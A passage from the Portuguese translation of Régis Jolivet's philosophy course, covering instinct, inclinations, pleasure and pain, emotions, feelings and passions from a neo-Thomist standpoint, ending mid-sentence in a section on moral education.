O DINAMISMO SENSÍVEL – Curso de Filosofia de Jolivet

Curso de Filosofia – Régis Jolivet

Capítulo Segundo

O DINAMISMO  SENSÍVEL

ART. I.    NATUREZA E DIVISÃO

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1. Natureza dos fenômenos afetivos. — Os fenômenos afetivos são manifestações
de nossas tendências e de nossas inclinações.
É evidente que, na falta
dessas tendências, poderia existir, no ser vivo, em resposta a uma excitação
externa, uma reação mecânica moldada nesta ação, mas não esta manifestação, tão
variável nas suas expressões, de sentimentos e de emoções, que definem a vida
afetiva do animal.

2. Divisão dos fenômenos afetivos. — Dividiremos, por
isso, as manifestações do dinamismo sensível em dois grupos: as tendências e
os estados afetivos. Entre as tendências distinguiremos as tendências
naturais ou instintos, que derivam das necessidades fundamentais do ser
vivo, — e as inclinações, que derivam das necessidades secundárias  do
ser vivo.

Os estados afetivos podem ser igualmente
divididos em dois grupos: os que têm por antecedente uma modificação orgânica (prazer e dor), — os que têm por antecedente um fato psíquico (emoções e sentimentos). — Ficarão por estudar as paixões, que são
inclinações levadas a um alto grau de força.

ART. II.    O INSTINTO

A.    Noção.

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1. Definição. — Chama-se instinto o conjunto das tendências naturais, que
derivam das necessidades fundamentais ou primárias do ser vivo.
É em
virtude de necessidades deste gênero que o animal é impelido a
exercer todos os atos necessários  a sua conservação  individual ou específica.
Estas tendências naturais não constituem faculdades distintas: elas se
identificam com a natureza do ser vivo sensível,
e se definem por ela.

As tendências adquiridas ou inclinações se
enxertam nas tendências naturais ou instintos, de que exprimem
as 

manifestações
acidentais, variáveis em número e em intensidade segundo os indivíduos.
Daí se conclui que os instintos servem para definir a natureza específica, enquanto
que o sistema das inclinações permite determinar o caráter dos indivíduos.

As tendências, quer sejam inatas  ou   adquiridas, são inconscientes, como a própria vida. Não podem ser tratadas diretamente e
em si mesmas, mas apenas nos seus efeitos, que são os fenômenos afetivos.

 

2.   Instinto, tropismo e reflexos. — O instinto
difere dos tropismos   ou  fenômenos   de   orientação   determinados,  nas  
plantas, por agentes físicos (luz, umidade, peso etc), — dos reflexos, reações 
desprendidas automaticamente, no animal pelos centros nervosos, sob a ação de
certos excitantes  (como as secreções
salivares j à vista de um prato apetitoso, o
ato de fechar os olhos diante de uma luz muito forte,  os gestos de proteção de
alguém que cai), — O instinto difere também do habito, que não tem o
inatismo dos instintos.

B.    Caracteres.

118      Distinguem-se
os caracteres primários e os secundários. Os primários são o inatismo e a
estabilidade dos instintos; os secundários a universalidade específica e a
ignorância do fim.

1.    O inatismo.

a)    Natureza.  No que há  de essencial,   o
instinto não com porta nem aprendizagem nem discernimento individual, nem inte
ligência que utilize uma experiência anterior. Donde sua infalibilidade e sua perfeição
imediata.
As operações mais complicadas pa recém ser  apenas  um certo jogo
para certos insetos:  as abelha; e as aranhas resolvem problemas de geometria
de uma complexidade
desconcertante; a borboleta, mal saída do
casulo, mergulha de um só jato sua trompa
no cálice das flores.

b) Instinto e inteligência. O instinto, como
tal, se opõe então à inteligência, definida como a capacidade de se adaptar
às-novas situações, com a ajuda do saber anteriormente adquirido. O
instinto, sem dúvida, é inteligente., mas o animal não o é,
quer dizer que a
inteligência, no animal, não é uma faculdade ou uma função: é apenas uma
qualidade do instinto.

2.    A permanência.         O instinto é uma conduta permanente
e estável
do animal, apesar das modificações que possam afetar uma ou outra
das funções que compreende. Esta estabilidade se verifica pelo fato de que, nem
no espaço, nem no tempo, se produzem variações notáveis nem progressos
importantes e duráveis-no exercício de um instinto.
As abelhas trabalham
hoje exatamente como no tempo de Virgílio
e os gatos não parecem ter feito progressos na arte de apanhar ratos.

3.    A universalidade específica. — Cada espécie pode
ser definida por um sistema de instintos (ou de técnicas
instintivas),
tão seguramente quanto por sua estrutura orgânica. É assim
que cada espécie de aranha tem uma maneira especial de tecer sua teia, que cada
espécie de pássaro constrói um ninho particular, cujos elementos (localização,
materiais, sustento) são tão estritamente determinados que o naturalista sabe
logo, à vista do ninho vazio do seu ocupante, por que espécie de pássaro foi
construído.

Todavia, todo instinto, mesmo nos insetos, admite
certas diferenças individuais,
quanto às formas que reveste. Estas
variações individuais são cada vez mais notáveis à medida que nos elevamos na
escala animal, dos insetos aos vertebrados, sobretudo os animais mamíferos e,
entre estes, os grandes macacos. Na realidade, a universalidade específica
deveria caracterizar-se pela uniformidade dos resultados, mais do que pela
uniformidade dos mecanismos.

4.    A igualdade do fim. — O animal faz com perfeição
o que faz por instinto, mas não sabe nem o que faz nem como faz, quer
dizer, não pode escolher nem o fim, nem os meios, pois estes lhe são impostos
pela natureza. A estupidez do instinto resulta, então, de sua necessidade e
o que explica sua perfeição explica ao mesmo tempo seus erros.
Sabe-se que
a galinha choca com perseverança um ovo de vidro substituído a um ovo
fecundado, que a abelha solitária
continua a prover uma célula furada, com
um buraco por onde o mel vai-se escoando.

O psiquismo
animal é pois, não-refletido e
automático.
A consciência do animal é uma consciência obscura.

C.    Classificação dos instintos.

119     
1. Princípio da classificação. — Dissemos que os instintos não podem derivar
senão das necessidades fundamentais do animal. Logo, haverá tantos instintos
primários quantas necessidades primárias do ser vivo,
— ou ainda de
quantos objetos o animal deva apropriar-se para satisfazer suas necessidades.
Ora, estes objetos são em número de três: o alimento, o companheiro sexual, o
congênere. Existirão, assim, três espécies de instintos fundamentais, a
saber: o instinto alimentar, o instinto sexual e o instinto gregário.

2.    Instinto e técnicas instintivas. — Este
ponto-de-vista leva a eliminar da lista dos instintos todas as reações
orgânicas
reflexas,  que
nela se introduzem geralmente, como os atos de caminhar, andar de rastos, coçar, bocejar, espirrar etc. — Da
mesma forma, não se deve considerar como compreendendo instintos especiais as técnicas
pelas quais os instintos se exercem:
elas não diferem do próprio instinto.
Que significaria o instinto alimentar, se não fosse provido, desde o início, no
recém-nascido, da técnica que o torna apto a mamar, ou, no pinto, da
técnica inata que lhe permite bicar?

D.    Origem do instinto.

120     
  Propuseram-se  diversas teorias
para  explicar  o instinto.

1.    Teoria
biológica. — Não se pode explicar o instinto com os caracteres que
o distinguem, a não ser que se admita que exista no animal uma força vital dotada
de finalidade interna, quer dizer que organiza o animal por dentro e o dota de
todos os Instintos necessários à sua vida, a sua subsistência e à sua propagação. Esta força vital aparece como inteligente e cega ao
mesmo
tempo: a inteligência,
que ela manifesta, é uma inteligência objetiva, a
mesma que opera em toda a natureza, o que supõe um Organizador e um Legislador supremo.

2. Teorias inadequadas. — Vê-se pelo que precede que è
impossível admitir as diferentes teorias que pretendem quer identificar o
instinto e a razão, — quer reduzir o instinto ao puro mecanismo:

a)     Teoria dos animais-máquinas. É a teoria
de Descartes. Os animais
seriam puros mecanismos,
cujos movimentos decorreriam da ação dos objetos
exteriores (como esses autômatos, cujos movimentos são regulados por molas). —
Esta teoria desconhece, evidentemente, a realidade da vida sensível e mesmo de
uma certa inteligência   (conhecimento,  memória)  no animal.

b)     Teoria intelectualista. Segundo esta
teoria, defendida por Montaigne, o instinto seria uma inteligência como a nossa, e mesmo superior em
segurança e engenhosidade. — Esta tese deve igualmente ser repelida, pois o
instinto, se é geralmente seguro, é rigorosamente limitado a certas técnicas
invariáveis, enquanto a inteligência humana é suscetível de uma infinidade de
adaptações diversas.

c)     Teoria evolucionista. O instinto,
segundo Lamarck e Darwin, seria um hábito adquirido
pela espécie., no curso de uma longa evolução, e transmitido por
hereditariedade.
— Esta teoria não é mais do que uma hipótese, e encontra
bastantes dificuldades. Estas dificuldades foram expostas na Cosmologia (84).

Art. III.    AS INCLINAÇÕES

121      Já
observamos, mais acima, que as tendências adquiridas ou inclinações derivam
das necessidades secundárias do ser vivo. Dependem, elas, nas suas
manifestações, do estímulo de um fato de conhecimento, sensível ou intelectual.
Donde a distinção das inclinações sensíveis, orientadas para os bens
sensíveis, e as inclinações intelectuais, próprias do homem, que têm
por objeto os bens não-sensíveis e se exercem pela vontade. Poderemos, então,
definir as inclinações como as tendências apoiadas na natureza para produzir
certos atos.

A.    Natureza das inclinações.

Devemos estudar aqui as inclinações humanas, em si
mesmas, e nas suas relações com os instintos.

1.    Instinto e inteligência. — É raro que os
instintos se manifestem em estado puro na espécie humana, após a idade da primeira
infância. No adulto, eles não mais significam do que orientações gerais ou
quadros da atividade:
a experiência, os hábitos, as coações sociais,
sobretudo o ato da inteligência, não cessam de exercer sua ação para refrear,
desviar, canalizar ou modificar o ato dos instintos. O homem, por isso, ganha
bastante em variedade e multiplicidade de inclinações, mas perde muito em segurança
mecânica. Contudo, o lucro é certo, uma vez que às habilidades precisas e
seguras, mas estritamente limitadas do instinto, a inteligência humana
substitui uma habilidade universal.

2.    Instinto e vontade. — O homem possui o poder de
suspender o efeito do impulso instintivo por um ato inibidor de sua vontade
refletida, O ato instintivo, submetido a um juízo de valor, não tem,
normalmente, o caráter explosivo que marca o exercício do instinto entregue a
seu próprio capricho.
Daí se segue que, no homem, a tendência se desprende,
de alguma forma, do ato. Contrariamente ao que acontece no animal, ela pode
permanecer potencial ou virtual.

B.    As tendências especificamente humanas.

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O
homem tem inclinações específicas, ligadas à sua natureza intelectual e moral.
Definem-se comumente como o amor da verdade, do bem e do belo.

1.    O amor da verdade, do bem e do belo. — É
impossível enumerar todas as inclinações complexas que derivam das tendências
instintivas do homem, para descobrir a verdade, para realizar o bem por sua
vida moral, e a beleza pelas obras de arte. Estas inclinações têm sua raiz
comum na razão,
de que são aspectos diversos, inatos e universais, como a
própria razão.

2.    Existe um instinto religioso? — A universalidade
do fato religioso no tempo e no espaço não autoriza a fazer dele produto de um
instinto especial. A "religião natural" resulta do exercício de
todas as nossas inclinações ou necessidades racionais:
inclinação à
verdade, que incita a procurar a explicação de todas as coisas num Deus
criador, Pai e Providencia da humanidade, — inclinação ao bem e ao belo, que
nos leva a descobrir em Deus a fonte primeira e o exemplar perfeito da Bondade
e da Beleza, o princípio de toda a justiça, o juiz das consciências e o
supremo desejável.

3. As inclinações sociais. — São a forma, no homem, do
instinto gregário, e podem ser reduzidas a três tendências fundamentais: a
simpatia, a imitação e o jogo.

a)     A simpatia. Distinguem-se uma simpatia
passiva e uma simpatia ativa.

A simpatia passiva é a capacidade de sentir com os
seus semelhantes,
de participar de seus sentimentos e suas emoções. Nos
animais, ela se manifesta por uma espécie de contágio emocional (por
exemplo, quando o pânico se apodera do rebanho). No homem, a simpatia passiva
exerce um papel importante, a um tempo sob a forma espontânea (a visão das
lágrimas é por vezes suficiente para fazer que nos venham lágrimas nos olhos),
e sob a forma deliberada, quando ela é um produto da atividade moral pela qual queremos participar das alegrias e tristezas do próximo.

A simpatia ativa designa um conjunto de
atitudes de benevolência, que tem por fim proteger, ajudar, socorrer ou
aliviar o próximo.
Está, pois, muito próxima da amizade. Suas causas
imediatas podem residir ou na simpatia passiva, ou nos motivos racionais  
(caridade, filantropia, solidariedade etc).

b)     A imitação. A imitação é exclusivamente
humana. Os animais são incapazes de imitar: os cavalos, tomados de pânico pelo
relinchar apavorado de um congênere da tropa, não imitam a este, mas sofrem o
contágio
do pavor. A imitação é uma cópia e não uma reação automática. Mas
não parece que se possa fazer dela um verdadeiro instinto: é mais uma
inclinação extremamente complexa, cujas manifestações se prendem antes de mais
nada ao instinto social  (simpatia, admiração, submissão ou prestígio etc).

c)     O jogo. Define-se o jogo como uma
atividade gratuita, quer dizer, tema atividade que não visa a produzir uma
obra, mas ao puro desdobramento da atividade.
Joga-se por jogar: o jogo encontra
seu fim em si mesmo. Pode-se fazer dele um instinto propriamente dito? Não o
parece. O jogo parece ser, antes, uma atividade   pré-formadora   ou  
supletiva   das   tendências   instintivas: a menina brinca de boneca ou de
casa; o menino brinca de soldado. De fato, a atividade do jogo segue
exatamente a evolução dos. instintos e parece ser uma inclinação que deriva do
conjunto dos instintos, a um tempo nas suas manifestações e no seu desenvolvimento.

C.    A redução das inclinações.

123      Podem-se
reduzir os instintos e as inclinações
do homem à unidade? Muitos filósofos,
especialmente La Rochefoucauld, Hobbes e Freud assim pensaram.

1.    Redução ao egoísmo.

a)     Exposição. Segundo La Rochefoucauld,
"as virtudes se perdem no interesse, como os rios no mar". Tudo
em nós procede do amor-próprio,
quer dizer, do amor de si mesmo e de todas
as, coisas para si. — Hobbes expõe
o mesmo ponto-de-vista. Para ele, a sociedade nasceu de um contrato, destinado
a pôr fim ao estado de guerra primitivo, no qual o homem era "um lobo para
o homem". A sociedade não seria mais do que uma invenção- disfarçada do
egoísmo.
Se, pouco a pouco, as práticas do altruísmo adquiriram um valor
autônomo, não é menos verdade que tudo deriva do egoísmo, que é, no fundo,
o único instinto do homem.

b)     Discussão. Toda esta tese repousa em uma concepção equívoca do interesse. Existe um sentido em que é verdade que
todas as nossas inclinações são expressões de nosso interesse: o bem é, de
fato, o único fim possível de nossa atividade; nós nada podemos amar, desejar
ou perseguir a não ser sob o aspecto do bem. Deste ponto-de-vista, tudo está
"interessado", não somente nossas tendências sensíveis, mas o próprio
desinteresse, o devotamento G o sacrifício de si. Mas este
"interesse" é, decerto, completamento
diferente do interesse egoísta, uma vez
que é este que nos obriga quando o dever o exige, a sacrificar nossos gostos,
nossos bens e mesmo nossa vida.

2.    Redução à sexualidade.

a) Exposição. FREUD julga que
todos os instintos do homem derivam de um instinto
fundamental, que nāo pode
ser outro que o instinto sexual, como
o prova a força imensa e a influência que o caracterizam. Tudo no homem, diz Freud, provém da libido (sexualidade),
seja diretamente, seja indiretamente, enquanto que as potências sexuais, que
perderam no todo ou em parte seu uso próprio, aplicam-se a outros fins, pelo
processo da sublimação, quer dizer, pelo fato de que a força não
empregada e recalcada no instinto sexual é utilizada para fins sem relação
direta com este instinto. Sob este aspecto, o heroísmo, o gênio e a santidade
resultariam dos. impulsos recalcados da sexualidade.

b) Discussão. A tese de Freud manifesta uma filosofia das mais discutíveis, quando
postula, sem nenhuma prova, que todas as manifestações da atividade humana não
podem derivar a não-ser da atividade sensível e, por conseguinte, que nada de
natural existe no homem além do que ele tenha de comum com os outros animais. Freud
nega pura e simplesmente a realidade das inclinações especificamente humanas.
Mas
mesmo reduzindo as inclinações do homem aos instintos animais, permaneceria
ainda o fato de que estes não podem reduzir-se à sexualidade, de vez que
o instinto alimentar e o instinto gregário parecem especificamente distintos
desta.

3. Conclusão. — Devemos, portanto, concluir que é
impossível reduzir à unidade os instintos e as inclinações.
Os instintos
derivam das necessidades, e estas são múltiplas e irredutíveis. Sua unidade
não pode ser senão funcional, por serem feitos para o ser vivo, e devem
harmonizar-se entre si para assegurar o bem individual e específico do ser
vivo. No homem, a redução à unidade teria menos sentido ainda, em virtude da
dualidade sensível e intelectual da natureza humana. Esta dualidade implica
a realidade de instintos e inclinações essencialmente diferentes.

ART. IV.    PRAZER E  DOR

§ 1.    Natureza

124     
1.    Causas do prazer e da dor.

a) É impossível definir o prazer e a dor em si
mesmos.
São eles estados simples e primitivos, que não se podem explicar,
portanto, por outros mais simples. Mas, aqui, importa muito pouco deixar de
definir, porque não existe ninguém que não saiba, de experiência própria, o que
é o prazer e a dor.

b)     Pode-se caracterizá-los, todavia, por suas
causas.
Deste ponto-de-vista, o prazer aparece como um estado afetivo
agradável, resultante do bom exercício de uma atividade ou de uma tendência
satisfeita,
enquanto que a dor é um estado afetivo desagradável,
resultante do mau exercício de uma atividade ou de um pendor contrariado.

Estas definições se aplicam ao mesmo tempo à atividade sensível e à atividade
intelectual.

c)     É necessário apelar ao mesmo tempo para a
atividade e a tendência.
A explicação causai do prazer e da dor, que
acabamos de dar, associa ao mesmo tempo a teoria aristotélica, ou teoria da
atividade, e a teoria biológica e finalista. Os dois pontos-de-vista, o da
atividade e o da tendência, devem aqui intervir, porque, de uma parte, a
atividade que se exerce de conformidade com as leis que lhe regulam o bom
funcionamento gera normalmente o prazer
(passear, nas condições de saúde
requeridas, é um prazer; ultrapassar, em distância e duração de marcha, o que
o estado físico tolera, torna-se dor), — e, de outro lado, a raiz mais
profunda destes fatos e estados afetivos se encontra no exercício dos instintos
e das tendências,
ao passo que o funcionamento e os limites da atividade
são por sua vez regulados pelas necessidades nascidas das tendências e dos
instintos.

d)     As teorias intelectualistas são
insuficientes.
É necessário, pois, afastar as teorias ditas
intelectualistas (Estóicos, — Descartes,
— Herbart) , que reduzem o
prazer e a dor a juízos ou a idéias mais ou menos confusos. Resultaria destas
teorias que nós dirigiríamos o prazer e a dor na medida mesma em que
dirigíssemos nossas idéias e nossos juízos:
sofrer dor de dentes seria
essencialmente pensar nesta dor de dentes, e, para não sofrer, seria suficiente
não pensar nisto! — Se estas doutrinas podem valer parcialmente, em certos
casos de dor moral, que a atenção vivifica ou aviva, falham necessariamente
para os prazeres e as dores físicas, que de forma alguma se reduzem  a simples
representações.

2. Condição do prazer e da dor. — Não pode existir
prazer nem dor sem consciência, pois estes estados são essencialmente
subjetivos  e, se não são sentidos, são como se não existissem, ou mesmo, mais
exatamente, não existem. É assim que um anestésico (ópio, morfina, éter) suprime
a dor, pelo próprio fato de que suprime a consciência da dor, ou, mais
exatamente, a percepção do estado físico de onde nasce a impressão dolorosa.

3. Existem estados neutros? — Entre o prazer e a dor,
estados contrários, não existe uma zona neutra ou um ponto de indiferença
total, de zero afetivo? Parece que não. Um estado de indiferença absoluta
carece ir realizável
: toda atividade, por mais relaxada que seja, comporta
ao menos uma certa nuance afetiva. Se. por vezes, os estados tomam uma
espécie de caráter neutro, isto provém geralmente de um efeito de contraste em
relação a outros estados afetivos mais intensos aos quais sucederam. É
necessário ainda notar que existem estados físicos (por exemplo o estado de boa
saúde) que não parecem neutros, a não ser porque sua tonalidade afetiva muito
real permanece subconsciente, e continuamente recoberta, de qualquer modo, por
outros fatos afetivos mais intensos.

§ 2.    Papel
do prazer e da dor

125     
1.    Papel biológico. — O prazer e a dor são úteis às diversas funções vitais.

a)     São guias da atividade vital, uma vez
que, como se viu, traduzem respectivamente o exercício de uma atividade
conforme ou contrária às tendências. Estes guias não devem, contudo, ser
seguidos cegamente. Seu papel é somente o de nos dizer o que é bom ou mau, mas
de forma alguma o que é moralmente bem ou mal: o que é agradável à
sensibilidade não é sempre o bem, o que lhe é desagradável não é sempre
o mal.

b)     São auxiliares. O prazer tende a
aumentar a atividade que o produz; a dor tem o efeito contrário. O prazer
dilata, a dor contrai.

2. Papel moral. O prazer é por si mesmo a
recompensa do mérito?
A dor é sinal de demérito. Não se poderá afirmá-lo
sem ir contra a experiência e o senso moral da humanidade, sobretudo pelo fato
de que prazer e dor pertencem à ordem corporal, na qual o homem não saberia
encontrar seu fim. A dor pode, freqüentemente, ser indício de grandeza e
fonte de mérito unicamente
se for encarada ou aceita em função do bem
moral, superior aos bens sensíveis.

Todavia, parece certo que prazer e dor deveriam
representar sanções do mérito e do demérito, e que, em muitos casos, o poderiam
realmente ser. Que eles não o sejam sempre, é sinal de uma desordem na nossa
natureza.
Eis tudo o que a filosofia pode dizer. A fé cristã traz aqui suas
luzes, fazendo conhecer a causa e a natureza desta desordem.

ART. V.    EMOÇÕES E SENTIMENTOS

§   1.      A  EMOÇÃO

126     
1.   Noção.

a)     Definição. A palavra emoção se toma, num
sentido muito geral, para significar toda espécie de estado afetivo de uma
certa intensidade. Aqui nós a entenderemos, de uma maneira muito estrita, como
designando um fenômeno afetivo complexo, provocado por um choque brusco, e
compreendendo um abalo mais ou menos profundo da consciência.
(Enquanto
escrevo, uma detonação ecoa atrás de mim e me põe em sobressalto; estou longe
de me refazer da surpresa. — Percorrendo ao acaso um jornal, tomo conhecimento
da morte acidental de um amigo querido: com isto,. "recebo um
choque", que me mergulha na tristeza).

b)     Existem duas espécies de emoções’! Costuma-se
distinguir a emoção-choque (coarse emotion), categoria na qual entram os
exemplos precedentes, — e a emoção sutil, ou estado emotivo tranqüilo
e durável,
rico em elementos representativos. A emoção sutil parece muito
difícil de distinguir dos sentimentos e é preferível reservar o nome de emoção
ao fenômeno afetivo descrito sob o nome de emoção-choque.

2. Análise. — Podem-se descobrir na emoção duas
espécies de elementos:

a) Elementos psíquicos. Desde que o choque se
produz surge toda sorte de representações mais ou menos ligadas, que vêm
bruscamente inibir e substituir o curso das representações normais. No mesmo
momento, desencadeia-se um fenômeno afetivo de uma extrema intensidade, agradável
ou desagradável, e geralmente penoso e difícil de suportar, por causa de sua
violência, e de sua brusca aparição. Pouco a pouco, após o primeiro choque,
faz-se uma adaptação, mais ou menos laboriosa, que tende seja a prolongar sob
forma de estado durável (sentimento) a emoção primitiva, seja a eliminar
a lembrança da emoção, quando ela apenas resultou de um fato sem conseqüências.

b) Elementos fisiológicos. Conhecem-se bem
estes fenômenos produzidos no corpo pela emoção: aceleração do ritmo do coração
e do ritmo respiratório; sensação de não ter passagem na garganta, boca seca;
perturbações intestinais, palidez, reflexos incoerentes de. adaptação ou de
proteção etc.

3.    Natureza da emoção.

a)     Qual é a natureza da emoção: psíquica ou
fisiológica?
No" primeiro caso, os elementos fisiológicos não são mais
do que efeitos do estado mental: choro porque estou triste. No segundo caso, é
o inverso: o estado mental é uma simples conseqüência dos fenômenos
fisiológicos:  estou triste porque choro.

b)     A teoria periférica. A segunda hipótese,
ou teoria periférica, sustentada por Descartes,
Lange e William James, foi
aplicada sobretudo às emoções-choques. Ela afirma que a emoção não é nada
mais do que a consciência das perturbações fisiológicas,
e invoca em seu
favor os fatos das fobias (temores sem causa externa), os casos numerosos em
que se assume a atitude exterior da emoção a fim de fazê-la aparecer (caso das
comédias, — assobia-se para criar ânimo, — Napoleão
quebra um vaso de porcelana para ficar encolerizado etc), os casos
igualmente freqüentes em que se suprime uma emoção inibindo os fenômenos
fisiológicos que lhe estão ligados (a paralisação das lágrimas diminui a
emoção). Resultaria daí que o ato da emoção seria o seguinte: uma representação
— reações periféricas — consciência destas reações — emoção. Donde o nome de
"teoria periférica" dado a esta explicação do fenômeno emotivo.

c) Apreciação da teoria periférica. A teoria
periférica encontra bastantes dificuldades. De início, ela não se
aplicaria senão imperfeitamente às emoções finas. Depois, mesmo limitada às emoções-choques,
os fatos que invoca se chocam com dois fatos contrários (o ator que representa
sem nenhuma emoção; as lágrimas que acalmam a emoção — diz-se que "chorar
faz bem" etc).

Contudo, esta teoria contém um elemento importante
de verdade.
Ela se opõe justamente à teoria psicológica, que erra em considerar
os fatos fisiológicos como acidentais na emoção. Na realidade, estes fatos são
essenciais, por sua vez, da mesma maneira que o corpo faz parte da essência da
natureza humana. A emoção é ao mesmo tempo um fenômeno psíquico e um
fenômeno orgânico:
segundo sua intensidade, é ora o fenômeno psicológico
ora o fenômeno orgânico que parece ter a preponderância. Mas as duas espécies
de fenômenos concorrem juntas para produzir a emoção.

§  2.     OS SENTIMENTOS

127      1.
Noção. Os sentimentos são estados afetivos duráveis de ordem geral. Eles
se distinguem por isto dos estados afetivos de ordem física (prazer e dor corporais),
— das emoções, que são brutais e temporárias, — enfim, das sensações, que são
produzidas por um excitante físico, enquanto que os sentimentos nascem de uma
representação   (imagem ou idéia)   mais ou menos clara.

2.    Natureza. — É errado pensar que os sentimentos
pertencem unicamente à alma e não têm nenhum caráter orgânico. Todos os
estados afetivos põem em jogo a um tempo a alma e o corpo. Apenas, nos
sentimentos
(sentimentos de veneração, de tristeza, de ódio, de simpatia,
satisfação estética etc), as representações exercem um papel preponderante
e a repercussão orgânico, é fraca,
ainda que possua regularmente uma
tonalidade agradável ou desagradável, que a aproxima da sensação.

3.    Função. — A atividade humana é prodigiosamente
complexa. Todo um jogo de ações e de reações se produz em conseqüência dos
elementos múltiplos e diversos que vêm constantemente integrar-se na vida
psíquica: percepções, imagens, idéias, lembranças, crenças, sentimentos,
inclinações, prazeres, sofrimentos etc. Neste conjunto, são os estados afetivos
que representam o papel principal. Uma situação não é jamais para nós
simplesmente uma representação, mas uma coisa ligada a nossas tendências e
inclinações. Daí se seguem as reações diversas com as quais a consideramos.
Se um ato a realizar nos aparece como fácil e agradável, será executado com
satisfação ou alegria; se se apresenta como difícil, acima de nossas forças,
oposto a nossos gostos, logo uma influência inibidora se manifestará. É o
sentimento que ora favorece, ora refreia e paralisa a ação.
O sentimento
aparece, assim, cor>o regulador da atividade.

ART. VI.    AS PAIXÕES

128     
1.    Natureza da paixão. — A paixão pode definir-se por comparação com a
inclinação.

a)     Definição. Pode-se definir a paixão como
um movimento impetuoso da alma conduzindo-nos ou afastando-nos de um objeto, conforme encontraremos nele uma fonte de prazer ou de dor. Vê-se, assim,
que as paixões não são mais do que as inclinações levadas a um alto grau de
intensidade.

b)     Inclinação e paixão. Não devemos,
contudo, reduzir absolutamente a paixão à inclinação. Esta resulta
imediatamente da natureza, e é inata, como o instinto que ela manifesta,
enquanto que a paixão é adquirida, na proporção em que acrescenta à
inclinação de que procede uma intensidade e uma veemência que são mais ou
menos obra nossa. — Além disso, a inclinação é permanente como a própria
natureza, enquanto que a paixão tem o caráter de uma crise. — Enfim, as
inclinações se equilibram mutuamente, enquanto que a paixão é exclusiva, e
rompe o equilíbrio em seu proveito.

2. Causas das paixões. — As causas das paixões podem
ser fisiológicas ou psicológicas.

a) Causas fisiológicas. A paixão, já o
dissemos, é uma inclinação levada a um alto grau de intensidade. Ora, as
inclinações se apóiam imediatamente na natureza. Segue-se daí que as paixões
resultam, por ama parte, do próprio temperamento.
As inclinações, sem
dúvida, se equilibram mutuamente, mas não de maneira perfeita: são, na
realidade, desigualmente desenvolvidas, segundo a hereditariedade e o temperamento
físico.
Desde que demos mais exercício às inclinações predominantes,
estamos no caminho das paixões, e pode-se dizer que estas existem em germe nas
nossas inclinações, isto é, no nosso temperamento físico e morai.

Este germe pode crescer, sob a influência das circunstâncias
exteriores,
tais como a educação, os exemplos, as freqüências. Em geral, a
paixão nasce lentamente, e as causas psicológicas intervém em todo o seu
desenvolvimento.

b) Causas psicológicas. Estas são as mais
importantes, porque a paixão não pode assumir extensão e força a não ser pela
cumplicidade, ao menos tácita, de nossa vontade, que se torna assim a
causa principal da paixão.

129.     
3.   Efeitos  das   paixões. — Estes efeitos interessam à inteligência e à
vontade.

a)     Efeitos sobre a inteligência. A paixão,
ao mesmo tempo, enfraquece e superexcita a inteligência. Com efeito, a paixão
centraliza as atividades da alma sobre o objeto da paixão, e ao mesmo tempo
suspende qualquer forma de atividade que não seja exigida pelos fins da paixão.
Produz-se, assim, uma espécie de unificação da alma, por empobrecimento.

Por outro lado, a inteligência fica exaltada e
superexcitada quando a serviço dos fins da paixão. O
apaixonado (Harpagão
Grandet) realiza muitas vezes prodígios de engenhosidade; o monoideísmo, que
constitui a paixão, permite-lhe concentrar sua atenção num mesmo ponto, com uma
perseverança que não recua diante de nenhum obstáculo, e não conhece outro
interesse que o da paixão.

b)     Efeitos sobre a vontade. O que se
verifica com a inteligência se aplica também à vontade. A paixão pode
exaltar a energia da alma:
é o caso das paixões nobres. Ela pode também
roubar à vontade toda espécie de autonomia,
e dela fazer uma verdadeira escrava,
pronta a todas as fraquezas e por vezes até mesmo ao crime.

4.    A paixão, do ponto-de-vista moral. — A palavra
paixão é empregada geralmente num sentido pejorativo, e designa, na linguagem
corrente, um apetite desregrado. Na realidade, a paixão não é má por
si mesma.
Ela não se torna má a não ser em função de seu objeto. Existem
paixões nobres: a paixão da verdade, a paixão da caridade, a paixão do amor de
Deus, que produz os santos. Estes, em certo sentido, são todos apaixonados. A
paixão não se torna culpável a não ser que se dirija para um objeto moralmente
mau. Podem-se, por isso, dividir as paixões em si mesmas, independentemente do
valor moral de seu objeto.

5.    Classificação das paixões. — As paixões podem
dividir-se como as inclinações de tal sorte que a cada inclinação corresponda
uma paixão (122). Contudo, todas as paixões podem ser reduzidas ao amor e ao
ódio,
e o próprio ódio pode reduzir-se ao amor, pois o ódio de um objeto
não aparece senão pelo amor que se tem por outro, que lhe é contrário.

ART. VII.    PEDAGOGIA DAS INCLINAÇÕES E DAS
PAIXÕES

130      Toda
formação moral deve ter por objeto desenvolver as inclinações mais nobres,
inspirar as paixões generosas, ajudar a submeter os pendores desregrados e a
sufocar o germe das paixões más.

§  1.     A ARTE DE GOVERNAR DAS INCLINAÇÕES

Dividimos as inclinações em inclinações superiores e
inclinações sociais. Estas duas categorias de inclinações devem ser desenvolvidas
e dirigidas com o maior cuidado.

1. Inclinações superiores.— Amor da verdade, do bem e
do belo, amor de Deus, princípio exemplar de toda verdade, de toda bondade e de
toda beleza: aí está o fim mais alto da formação pessoal e o resto não é mais
do que um meio dirigido para este fim. Aqui deve, então, intervir o próprio
conjunto dos métodos, intelectuais e morais, que dirigem a formação do espírito
e do coração,  da vontade e do caráter.

Pode-se, contudo, mesmo neste domínio, orientar mal a
formação pessoal das inclinações, ou a cultura da personalidade moral, e
abdicar deste instrumento impulsionador de progresso  que se chama emulação.
Estes dois pontos exigem algumas observações.

a)     O amor-próprio. O termo amor-próprio
pode ser tomai: em dois sentidos contrários. Define-se muitas vezes pelo egoísmo: Neste sentido, é claro que deve ser combatido. Um método de formação que
tivesse como resultado, voluntariamente ou não, habituar-nos, sob a capa do
amor próprio, a tomar-nos como fim de todas as coisas, e a considerar-nos como
o centro do mundo, seria radicalmente mau. — Mas o amor-próprio pode também
definir esta preocupação da dignidade pessoal, que é o oposto mesmo de
egoísmo, já que nos obriga, como vimos mais acima (123), a colocar a virtude,
a justiça e a caridade acima de todos os interesse; materiais e sensíveis.
Assim compreendido, o amor-próprio é a mais fundamental de nossas inclinações
morais e o motor mais poderoso de nossa formação pessoal.

Sem dúvida, é por vezes difícil discernir se certas
fórmulas do amor-próprio não nos levam muito mais a parecer do que a ser, ou, de qualquer forma, a colocar o ser a serviço do parecer. Mas este
desvio não nos deve levar a desconhecer o que há de bom e de excelente no sentimento
de honra,
e na preocupação da dignidade pessoal. São, estes, preciosos
auxiliares da formação moral, sob a condição de que se saiba bem colocar a
honra e a dignidade humana onde convenha, a saber, muito menos na reclamação:
inquieta e obstinada do que alguém nos deve em respeito e consideração, do que
na necessidade sentida fortemente de nada fazer que nos obrigue a corar diante
